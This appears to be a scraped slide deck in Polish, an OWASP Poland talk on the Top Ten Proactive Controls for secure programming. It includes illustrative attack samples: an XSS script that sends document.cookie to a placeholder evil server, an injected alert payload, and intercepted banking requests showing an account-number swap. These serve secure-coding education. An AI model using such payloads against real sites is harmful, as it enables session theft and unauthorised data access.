WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsWebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
 
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standardsWebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
 
Let's get evil - threat modeling at scale
Let's get evil - threat modeling at scaleLet's get evil - threat modeling at scale
Let's get evil - threat modeling at scale
 
Attacking AWS: the full cyber kill chain
Attacking AWS: the full cyber kill chainAttacking AWS: the full cyber kill chain
Attacking AWS: the full cyber kill chain
 
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standards
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standardsWeb Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standards
Web Apps vs Blockchain dApps (Smart Contracts): tools, vulns and standards
 
Budowanie i hakowanie nowoczesnych aplikacji iOS
Budowanie i hakowanie nowoczesnych aplikacji iOSBudowanie i hakowanie nowoczesnych aplikacji iOS
Budowanie i hakowanie nowoczesnych aplikacji iOS
 
We need t go deeper - Testing inception apps.
We need t go deeper - Testing inception apps.We need t go deeper - Testing inception apps.
We need t go deeper - Testing inception apps.
 
Building & Hacking Modern iOS Apps
Building & Hacking Modern iOS AppsBuilding & Hacking Modern iOS Apps
Building & Hacking Modern iOS Apps
 

10 przykazań bezpiecznego programowania

  • 1. 10 przykazań bezpiecznego programowania OWASP Top Ten Proactive Controls Wojciech Dworakowski, SecuRing OWASP Poland Chapter Leader
  • 2. Wojtek Dworakowski @wojdwo CEO (od 2003) Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT OWASP Poland Chapter Leader (od 2011)
  • 3. OWASP O = Open • Materiały i narzędzia – za darmo – licencje Creative Commons – open source • Tworzone na zasadach otwartej współpracy – każdy może przyłączyć się 3
  • 4. OWASP Poland Chapter • Od 2007 • Spotkania: Kraków, Poznań, Warszawa • Wstęp wolny • Wspierają nas:
  • 5. Ankieta na 4Developers 2014* * Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014” • 62% firm nie edukuje programistów w zakresie bezpieczeństwa aplikacji • >50% firm nie uwzględnia bezpieczeństwa na etapie projektowania • 73% pytanych potwierdziło, że wprowadzało poprawki wynikające z testów bezpieczeństwa • Tylko 42% potwierdziło że przed wdrożeniem wykonują testy bezpieczeństwa
  • 6. OWASP Top10 Risk vs OWASP Top10 Proactive Controls
  • 7. Disclaimer • Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10 – To materiał edukacyjny – Każda aplikacja ma swój specyficzny profil ryzyka
  • 9. SQL/LDAP/XML/cmd/…-injection Łatwe do wykorzystania • proste w użyciu narzędzia automatyzujące atak Znaczne skutki ataku Źródło: http://xkcd.com/327/
  • 10. Dobre praktyki #1 Zapytania parametryzowane – Prepared Statements / Parametrized Queries #2 Stored Procedures – Uwaga na wyjątki! (eval, blok dynamiczny, etc.) #3 Escaping – ryzykowne! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
  • 11. Narzędzia i materiały • Bobby Tables: A guide to preventing SQL injection • Query Parameterization Cheat Sheet • SQL Injection Prevention Cheat Sheet • OWASP Secure Coding Practices Quick Reference Guide
  • 13. XSS • Zmiana treści strony • Przechwycenie sesji <script>document.body.innerHTML(“Jim was here”);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?” + document.cookie; </script>
  • 14. Skutki braku kodowania znaków specjalnych • Session hijacking • Network scanning • Obejście zabezpieczeń przed CSRF • Zmiana zawartości strony (w przeglądarce) • … • Przejęcie kontroli nad przeglądarką – vide BeEF
  • 16.
  • 17.
  • 18. Cross Site Scripting Ale często wklejenie bezpośrednio w kontekst javascript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
  • 19. Dobre praktyki • Kodowanie znaków specjalnych odpowiednie do kontekstu użycia – element HTML – Atrybut HTML – JavaScript – JSON – CSS / style – URL
  • 20. Narzędzia i materiały • XSS (Cross Site Scripting) Prevention Cheat Sheet • Java Encoder Project • Microsoft .NET AntiXSS Library • OWASP ESAPI • Encoder Comparison Reference Project
  • 21. 3: Validate All Inputs
  • 22. Po co walidacja? • Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji • Walidacja jest jak firewall – Nie zabezpiecza przed wszystkim – …ale dobrze ją mieć
  • 23. Dobre praktyki • Walidacja wg whitelisty a nie blacklisty, • Typowanie pól – najlepiej „systemowo” a nie per formularz. – Porządkuje to bezpieczeństwo w wielu warstwach – np. potem łatwo można użyć do reguł WAF • Walidacja pierwszą linią obrony – np. silne rzutowanie typów zapobiegnie injection, – ale nie może być jedyną !
  • 24. Narzędzia i materiały • Input Validation Cheat Sheet • Apache Commons Validator • OWASP JSON Sanitizer Project • OWASP Java HTML Sanitizer Project • Google Caja
  • 27. Żądanie HTTP po przechwyceniu GET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Podmiana nr rachunku – uzyskujemy cudze dane
  • 28. Dobre praktyki • Decyzja po stronie serwera ! • Default deny • Wszystkie żądania muszą przejść przez kontrolę uprawnień – scentralizowany, spójny mechanizm • Zasady kontroli dostępu (policy) osobne od kodu – a nie jako część kodu
  • 29. if (currentUser.hasRole(“administrator”)) { //pozwol } else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
  • 30. Narzędzia i materiały • Access Control Cheat Sheet • Java Authorization Guide with Apache Shiro – Apache Shiro Authorization features • OWASP PHPRBAC Project
  • 31. 5: Establish Identity and Authentication Controls
  • 32. Przykład defektu • Uwierzytelnienie kluczem lokalnie trzymanym na komputerze • Proces logowania: 1. podajemy login 2. wybieramy plik z kluczem, wprowadzamy hasło do klucza 3. jesteśmy zalogowani https://...../GenerateNewKey
  • 33. Dobre praktyki • Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających • Zasada „łańcucha zaufania” • Uwaga na sesyjność „na granicy” ! • Nie limituj długości i znaków które można użyć w haśle
  • 34. Narzędzia i materiały • Authentication Cheat Sheet • Password Storage Cheat Sheet • Forgot Password Cheat Sheet • Session Management Cheat Sheet
  • 35. 6: Protect Data and Privacy at transit at rest
  • 36. Przykład defektu (at transit) • SSL zapewnia szyfrowanie i autentyczność • Co weryfikuje autentyczność serwera? – Aplikacje przeglądarkowe: Przeglądarka – Aplikacje mobilne / thick-client / embedded…: Aplikacja • Najczęstsze błędy – Brak sprawdzenia certyfikatu lub „łańcucha zaufania” – Brak obsługi wyjątku
  • 37. Dobre praktyki (in transit) • TLS • Dla całości aplikacji • Cookies: flaga „Secure” • HTTP Strict Transport Security • Zestawy silnych szyfrów • Chain of trust • Certificate pinning
  • 38. Narzędzia i materiały (in transit) • Transport Layer Protection Cheat Sheet • Pinning Cheat Sheet • OWASP O-Saft (SSL Audit for Testers)
  • 39. Przykład defektu (at rest) • Przechowywanie haseł • „Własna” implementacja SHA1 public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
  • 40. Dobre praktyki (at rest) • Nie próbuj wynaleźć koła ! – Własne szfry są ZŁE – Własna implementacja crypto jest ZŁA – Sprawdzone biblioteki • Silne szyfry w silnych trybach – ECB jest ZŁE – CBC – uwaga na „padding oracle” • Dobre źródło losowości dla IV
  • 41. Narzędzia i materiały • Google KeyCzar • Cryptographic Storage Cheat Sheet • Password Storage Cheat Sheet
  • 42. 7: Implement Logging, Error Handling and Intrusion Detection
  • 43. Narzędzia i materiały • Logging Cheat Sheet • OWASP AppSensor Project
  • 44. 8: Leverage Security Features of Frameworks and Security Libraries
  • 45. Narzędzia i materiały • PHP Security Cheat Sheet • .NET Security Cheat Sheet • Spring Security • Apache Shiro • OWASP Dependency Check / Track
  • 47. Definiowanie wymagań • Scenariusze ataku – Jak zagrożenia mogą osiągnąć cele? – Wymaga doświadczenia i wiedzy eksperckiej • Dobranie zabezpieczeń == WYMAGANIA Zagrożenia Skutki Scenariusze ataku Kto? Jak? Co?
  • 48. Narzędzia i materiały • OWASP Application Security Verification Standard Project • Software Assurance Maturity Model • Business Logic Security Cheat Sheet • Testing for business logic (OWASP-BL-001)
  • 49. 10: Design and Architect Security In
  • 50. Narzędzia i materiały • Software Assurance Maturity Model (OpenSAMM) • Application Security Verification Standard Project • Application Security Architecture Cheat Sheet • Attack Surface Analysis Cheat Sheet • Threat Modeling Cheat Sheet
  • 52. To tylko Top Ten ! • Każda aplikacja jest inna – Trzeba zdefiniować profil ryzyka (KTO?, PO CO?) – i uwzględnić „zgodność z przepisami” • Kilka prostych kroków daje duże efekty • Warto edukować programistów w zakresie bezpieczeństwa